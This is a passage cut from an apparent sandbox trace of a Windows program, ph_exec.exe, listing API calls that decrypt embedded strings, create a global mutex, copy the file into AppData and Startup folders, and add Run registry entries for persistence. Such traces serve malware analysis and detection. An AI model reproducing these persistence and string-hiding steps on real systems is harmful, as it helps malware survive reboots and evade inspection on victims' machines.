dwFlags=0x0, phKey=0x6ffb44 | out: phKey=0x6ffb44*=0x7395a8) returned 1 [0126.505] CryptSetKeyParam (hKey=0x7395a8, dwParam=0x1, pbData=0x6ffb2c, dwFlags=0x0) returned 1 [0126.505] CryptDecrypt (in: hKey=0x7395a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11230, pdwDataLen=0x6ffaf8 | out: pbData=0xf11230, pdwDataLen=0x6ffaf8) returned 1 [0126.505] CryptDestroyKey (hKey=0x7395a8) returned 1 [0126.505] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x1e) returned 0xf11258 [0126.505] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x1e) returned 0xf11280 [0126.505] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x90) returned 0xf112a8 [0126.505] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ffab4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffb1c | out: phKey=0x6ffb1c*=0x7397a8) returned 1 [0126.505] CryptSetKeyParam (hKey=0x7397a8, dwParam=0x1, pbData=0x6ffb04, dwFlags=0x0) returned 1 [0126.505] CryptDecrypt (in: hKey=0x7397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf112a8, pdwDataLen=0x6ffad0 | out: pbData=0xf112a8, pdwDataLen=0x6ffad0) returned 1 [0126.505] CryptDestroyKey (hKey=0x7397a8) returned 1 [0126.505] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf112a8 | out: hHeap=0xf10000) returned 1 [0126.505] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xf11258, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0126.505] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11280 | out: hHeap=0xf10000) returned 1 [0126.505] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11230 | out: hHeap=0xf10000) returned 1 [0126.505] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x6ffb84, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x6ffb84*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0126.505] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11258 | out: hHeap=0xf10000) returned 1 [0126.505] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x40) returned 0xf11230 [0126.505] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ffb10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffb78 | out: phKey=0x6ffb78*=0x7392e8) returned 1 [0126.505] CryptSetKeyParam (hKey=0x7392e8, dwParam=0x1, pbData=0x6ffb60, dwFlags=0x0) returned 1 [0126.505] CryptDecrypt (in: hKey=0x7392e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11230, pdwDataLen=0x6ffb2c | out: pbData=0xf11230, pdwDataLen=0x6ffb2c) returned 1 [0126.505] CryptDestroyKey (hKey=0x7392e8) returned 1 [0126.505] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x34) returned 0xf11278 [0126.505] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x0 [0126.505] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\1030B419773001") returned 0x1f0 [0126.506] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0 [0126.506] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11230 | out: hHeap=0xf10000) returned 1 [0126.506] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11278 | out: hHeap=0xf10000) returned 1 [0126.506] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1331f5f, lpParameter=0x6ffc18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x218 [0126.506] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x60) returned 0xf11230 [0126.506] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ffb20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffb88 | out: phKey=0x6ffb88*=0x7392e8) returned 1 [0126.506] CryptSetKeyParam (hKey=0x7392e8, dwParam=0x1, pbData=0x6ffb70, dwFlags=0x0) returned 1 [0126.506] CryptDecrypt (in: hKey=0x7392e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11230, pdwDataLen=0x6ffb3c | out: pbData=0xf11230, pdwDataLen=0x6ffb3c) returned 1 [0126.506] CryptDestroyKey (hKey=0x7392e8) returned 1 [0126.506] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x20) returned 0xf11298 [0126.506] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ffaf8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffb60 | out: phKey=0x6ffb60*=0x7395a8) returned 1 [0126.506] CryptSetKeyParam (hKey=0x7395a8, dwParam=0x1, pbData=0x6ffb48, dwFlags=0x0) returned 1 [0126.506] CryptDecrypt (in: hKey=0x7395a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11298, pdwDataLen=0x6ffb14 | out: pbData=0xf11298, pdwDataLen=0x6ffb14) returned 1 [0126.506] CryptDestroyKey (hKey=0x7395a8) returned 1 [0126.506] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x1e) returned 0xf112c0 [0126.506] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x1e) returned 0xf112e8 [0126.506] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x90) returned 0xf11310 [0126.506] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ffad0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffb38 | out: phKey=0x6ffb38*=0x7393e8) returned 1 [0126.506] CryptSetKeyParam (hKey=0x7393e8, dwParam=0x1, pbData=0x6ffb20, dwFlags=0x0) returned 1 [0126.506] CryptDecrypt (in: hKey=0x7393e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11310, pdwDataLen=0x6ffaec | out: pbData=0xf11310, pdwDataLen=0x6ffaec) returned 1 [0126.506] CryptDestroyKey (hKey=0x7393e8) returned 1 [0126.506] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11310 | out: hHeap=0xf10000) returned 1 [0126.506] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0xf112c0, nSize=0xf | out: lpDst="") returned 0x1e [0126.507] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf112e8 | out: hHeap=0xf10000) returned 1 [0126.507] RtlReAllocateHeap (Heap=0xf10000, Flags=0x0, Ptr=0xf112c0, Size=0x3a) returned 0xf112c0 [0126.507] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x3a) returned 0xf11308 [0126.507] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x90) returned 0xf11350 [0126.507] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ffacc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffb34 | out: phKey=0x6ffb34*=0x7397a8) returned 1 [0126.507] CryptSetKeyParam (hKey=0x7397a8, dwParam=0x1, pbData=0x6ffb1c, dwFlags=0x0) returned 1 [0126.507] CryptDecrypt (in: hKey=0x7397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11350, pdwDataLen=0x6ffae8 | out: pbData=0xf11350, pdwDataLen=0x6ffae8) returned 1 [0126.507] CryptDestroyKey (hKey=0x7397a8) returned 1 [0126.507] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11350 | out: hHeap=0xf10000) returned 1 [0126.507] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0xf112c0, nSize=0x1d | out: lpDst="") returned 0x1e [0126.507] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11308 | out: hHeap=0xf10000) returned 1 [0126.507] RtlReAllocateHeap (Heap=0xf10000, Flags=0x0, Ptr=0xf112c0, Size=0x72) returned 0xf112c0 [0126.507] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x72) returned 0xf11340 [0126.507] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x90) returned 0xf113c0 [0126.507] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ffacc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffb34 | out: phKey=0x6ffb34*=0x7392e8) returned 1 [0126.507] CryptSetKeyParam (hKey=0x7392e8, dwParam=0x1, pbData=0x6ffb1c, dwFlags=0x0) returned 1 [0126.507] CryptDecrypt (in: hKey=0x7392e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf113c0, pdwDataLen=0x6ffae8 | out: pbData=0xf113c0, pdwDataLen=0x6ffae8) returned 1 [0126.507] CryptDestroyKey (hKey=0x7392e8) returned 1 [0126.507] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf113c0 | out: hHeap=0xf10000) returned 1 [0126.507] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0xf112c0, nSize=0x39 | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Local") returned 0x1e [0126.507] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11340 | out: hHeap=0xf10000) returned 1 [0126.507] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11298 | out: hHeap=0xf10000) returned 1 [0126.507] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x40) returned 0xf11340 [0126.507] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ffaf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffb5c | out: phKey=0x6ffb5c*=0x7395a8) returned 1 [0126.507] CryptSetKeyParam (hKey=0x7395a8, dwParam=0x1, pbData=0x6ffb44, dwFlags=0x0) returned 1 [0126.507] CryptDecrypt (in: hKey=0x7395a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11340, pdwDataLen=0x6ffb10 | out: pbData=0xf11340, pdwDataLen=0x6ffb10) returned 1 [0126.507] CryptDestroyKey (hKey=0x7395a8) returned 1 [0126.507] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x3e) returned 0xf11388 [0126.507] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x3e) returned 0xf113d0 [0126.507] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x90) returned 0xf11418 [0126.507] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ffacc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffb34 | out: phKey=0x6ffb34*=0x7397a8) returned 1 [0126.507] CryptSetKeyParam (hKey=0x7397a8, dwParam=0x1, pbData=0x6ffb1c, dwFlags=0x0) returned 1 [0126.507] CryptDecrypt (in: hKey=0x7397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11418, pdwDataLen=0x6ffae8 | out: pbData=0xf11418, pdwDataLen=0x6ffae8) returned 1 [0126.507] CryptDestroyKey (hKey=0x7397a8) returned 1 [0126.507] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x10) returned 0xf11298 [0126.507] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x6ffab0 | out: phkResult=0x6ffab0*=0x220) returned 0x0 [0126.507] RegQueryValueExW (in: hKey=0x220, lpValueName="Startup", lpReserved=0x0, lpType=0x6ffaac, lpData=0xf113d0, lpcbData=0x6ffab4*=0x3e | out: lpType=0x6ffaac*=0x2, lpData=0xf113d0*=0x80, lpcbData=0x6ffab4*=0x98) returned 0xea [0126.507] RegCloseKey (hKey=0x220) returned 0x0 [0126.507] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11298 | out: hHeap=0xf10000) returned 1 [0126.508] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11418 | out: hHeap=0xf10000) returned 1 [0126.508] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf113d0 | out: hHeap=0xf10000) returned 1 [0126.508] RtlReAllocateHeap (Heap=0xf10000, Flags=0x0, Ptr=0xf11388, Size=0x7a) returned 0xf11388 [0126.508] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x7a) returned 0xf11410 [0126.508] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x90) returned 0xf11498 [0126.508] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ffac8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffb30 | out: phKey=0x6ffb30*=0x739068) returned 1 [0126.508] CryptSetKeyParam (hKey=0x739068, dwParam=0x1, pbData=0x6ffb18, dwFlags=0x0) returned 1 [0126.508] CryptDecrypt (in: hKey=0x739068, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11498, pdwDataLen=0x6ffae4 | out: pbData=0xf11498, pdwDataLen=0x6ffae4) returned 1 [0126.508] CryptDestroyKey (hKey=0x739068) returned 1 [0126.508] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x10) returned 0xf11298 [0126.508] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x6ffaac | out: phkResult=0x6ffaac*=0x220) returned 0x0 [0126.508] RegQueryValueExW (in: hKey=0x220, lpValueName="Startup", lpReserved=0x0, lpType=0x6ffaa8, lpData=0xf11410, lpcbData=0x6ffab0*=0x7a | out: lpType=0x6ffaa8*=0x2, lpData=0xf11410*=0x80, lpcbData=0x6ffab0*=0x98) returned 0xea [0126.508] RegCloseKey (hKey=0x220) returned 0x0 [0126.508] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11298 | out: hHeap=0xf10000) returned 1 [0126.508] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11498 | out: hHeap=0xf10000) returned 1 [0126.508] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11410 | out: hHeap=0xf10000) returned 1 [0126.508] RtlReAllocateHeap (Heap=0xf10000, Flags=0x0, Ptr=0xf11388, Size=0xf2) returned 0xf11388 [0126.508] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0xf2) returned 0xf15280 [0126.508] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x90) returned 0xf11488 [0126.508] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ffac8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffb30 | out: phKey=0x6ffb30*=0x7397a8) returned 1 [0126.508] CryptSetKeyParam (hKey=0x7397a8, dwParam=0x1, pbData=0x6ffb18, dwFlags=0x0) returned 1 [0126.508] CryptDecrypt (in: hKey=0x7397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11488, pdwDataLen=0x6ffae4 | out: pbData=0xf11488, pdwDataLen=0x6ffae4) returned 1 [0126.508] CryptDestroyKey (hKey=0x7397a8) returned 1 [0126.508] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x10) returned 0xf11520 [0126.508] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x6ffaac | out: phkResult=0x6ffaac*=0x220) returned 0x0 [0126.508] RegQueryValueExW (in: hKey=0x220, lpValueName="Startup", lpReserved=0x0, lpType=0x6ffaa8, lpData=0xf15280, lpcbData=0x6ffab0*=0xf2 | out: lpType=0x6ffaa8*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x6ffab0*=0x98) returned 0x0 [0126.508] RegCloseKey (hKey=0x220) returned 0x0 [0126.508] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11520 | out: hHeap=0xf10000) returned 1 [0126.508] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x1e) returned 0xf11298 [0126.508] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x6ffaac | out: phkResult=0x6ffaac*=0x220) returned 0x0 [0126.508] RegQueryValueExW (in: hKey=0x220, lpValueName="Common Startup", lpReserved=0x0, lpType=0x6ffaa8, lpData=0xf15318, lpcbData=0x6ffab0*=0x5a | out: lpType=0x6ffaa8*=0x0, lpData=0xf15318*=0x0, lpcbData=0x6ffab0*=0x5a) returned 0x2 [0126.508] RegCloseKey (hKey=0x220) returned 0x0 [0126.508] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x6ffac0 | out: phkResult=0x6ffac0*=0x220) returned 0x0 [0126.509] RegQueryValueExW (in: hKey=0x220, lpValueName="Common Startup", lpReserved=0x0, lpType=0x6ffabc, lpData=0xf15318, lpcbData=0x6ffac4*=0x5a | out: lpType=0x6ffabc*=0x2, lpData=0xf15318*=0x0, lpcbData=0x6ffac4*=0x78) returned 0xea [0126.509] RegCloseKey (hKey=0x220) returned 0x0 [0126.509] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11298 | out: hHeap=0xf10000) returned 1 [0126.509] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11488 | out: hHeap=0xf10000) returned 1 [0126.509] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf15280 | out: hHeap=0xf10000) returned 1 [0126.509] RtlReAllocateHeap (Heap=0xf10000, Flags=0x0, Ptr=0xf11388, Size=0x1e2) returned 0xf15280 [0126.509] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x1e2) returned 0xf15470 [0126.509] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x90) returned 0xf11388 [0126.509] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ffac8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffb30 | out: phKey=0x6ffb30*=0x7392e8) returned 1 [0126.509] CryptSetKeyParam (hKey=0x7392e8, dwParam=0x1, pbData=0x6ffb18, dwFlags=0x0) returned 1 [0126.509] CryptDecrypt (in: hKey=0x7392e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11388, pdwDataLen=0x6ffae4 | out: pbData=0xf11388, pdwDataLen=0x6ffae4) returned 1 [0126.509] CryptDestroyKey (hKey=0x7392e8) returned 1 [0126.509] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x10) returned 0xf11298 [0126.509] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x6ffaac | out: phkResult=0x6ffaac*=0x220) returned 0x0 [0126.509] RegQueryValueExW (in: hKey=0x220, lpValueName="Startup", lpReserved=0x0, lpType=0x6ffaa8, lpData=0xf15470, lpcbData=0x6ffab0*=0x1e2 | out: lpType=0x6ffaa8*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x6ffab0*=0x98) returned 0x0 [0126.509] RegCloseKey (hKey=0x220) returned 0x0 [0126.509] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11298 | out: hHeap=0xf10000) returned 1 [0126.509] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x8, Size=0x1e) returned 0xf11298 [0126.509] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x6ffaac | out: phkResult=0x6ffaac*=0x220) returned 0x0 [0126.509] RegQueryValueExW (in: hKey=0x220, lpValueName="Common Startup", lpReserved=0x0, lpType=0x6ffaa8, lpData=0xf15508, lpcbData=0x6ffab0*=0x14a | out: lpType=0x6ffaa8*=0x0, lpData=0xf15508*=0x0, lpcbData=0x6ffab0*=0x14a) returned 0x2 [0126.509] RegCloseKey (hKey=0x220) returned 0x0 [0126.509] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x6ffac0 | out: phkResult=0x6ffac0*=0x220) returned 0x0 [0126.509] RegQueryValueExW (in: hKey=0x220, lpValueName="Common Startup", lpReserved=0x0, lpType=0x6ffabc, lpData=0xf15508, lpcbData=0x6ffac4*=0x14a | out: lpType=0x6ffabc*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x6ffac4*=0x78) returned 0x0 [0126.509] RegCloseKey (hKey=0x220) returned 0x0 [0126.509] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11298 | out: hHeap=0xf10000) returned 1 [0126.509] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11388 | out: hHeap=0xf10000) returned 1 [0126.509] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpDst=0xf15280, nSize=0xf1 | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 0x8b [0126.509] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf15470 | out: hHeap=0xf10000) returned 1 [0126.509] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11340 | out: hHeap=0xf10000) returned 1 [0126.509] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x20a) returned 0xf15470 [0126.510] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x20a) returned 0xf15688 [0126.510] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x20a) returned 0xf158a0 [0126.510] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x20a) returned 0xf15ab8 [0126.510] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xf15470, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe")) returned 0x59 [0126.510] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x20a) returned 0xf15cd0 [0126.510] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xf15cd0, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe")) returned 0x59 [0126.510] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf15cd0 | out: hHeap=0xf10000) returned 1 [0126.510] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x20a) returned 0xf15cd0 [0126.510] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xf15cd0, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe")) returned 0x59 [0126.510] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf15cd0 | out: hHeap=0xf10000) returned 1 [0126.510] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\ph_exec.exe"), bFailIfExists=0) returned 1 [0126.669] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x6ffbc4 | out: phkResult=0x6ffbc4*=0x220) returned 0x0 [0126.669] RegSetValueExW (in: hKey=0x220, lpValueName="ph_exec", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe", cbData=0x52 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe") returned 0x0 [0126.669] RegCloseKey (hKey=0x220) returned 0x0 [0126.670] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x6ffbb0 | out: phkResult=0x6ffbb0*=0x220) returned 0x0 [0126.670] RegSetValueExW (in: hKey=0x220, lpValueName="ph_exec", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe", cbData=0x52 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Local\\ph_exec.exe") returned 0x0 [0126.670] RegCloseKey (hKey=0x220) returned 0x0 [0126.670] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0x118) returned 0xf11340 [0126.670] GetLastError () returned 0x0 [0126.670] SetLastError (dwErrCode=0x0) [0126.670] GetLastError () returned 0x0 [0126.670] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe"), lpNewFileName="c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe"), bFailIfExists=1) returned 0 [0126.804] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe"), lpNewFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe"), bFailIfExists=1) returned 0 [0126.805] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11340 | out: hHeap=0xf10000) returned 1 [0126.805] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf15470 | out: hHeap=0xf10000) returned 1 [0126.805] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf15688 | out: hHeap=0xf10000) returned 1 [0126.805] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf158a0 | out: hHeap=0xf10000) returned 1 [0126.805] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf15ab8 | out: hHeap=0xf10000) returned 1 [0126.805] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf11230 | out: hHeap=0xf10000) returned 1 [0126.805] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf112c0 | out: hHeap=0xf10000) returned 1 [0126.805] HeapFree (in: hHeap=0xf10000, dwFlags=0x0, lpMem=0xf15280 | out: hHeap=0xf10000) returned 1 [0126.805] RtlAllocateHeap (HeapHandle=0xf10000, Flags=0x0, Size=0xc0) returned 0xf11230 [0126.805] CryptImportKey (in: hProv=0x7268e0, pbData=0x6ffb54, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x6ffbbc | out: phKey=0x6ffbbc*=0x7395a8) returned 1 [0126.805] CryptSetKeyParam (hKey=0x7395a8, dwParam=0x1, pbData=0x6ffba4, dwFlags=0x0) returned 1 [0126.805] CryptDecrypt (in: hKey=0x7395a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xf11230, pdwDataLen=0x6ffb70 | 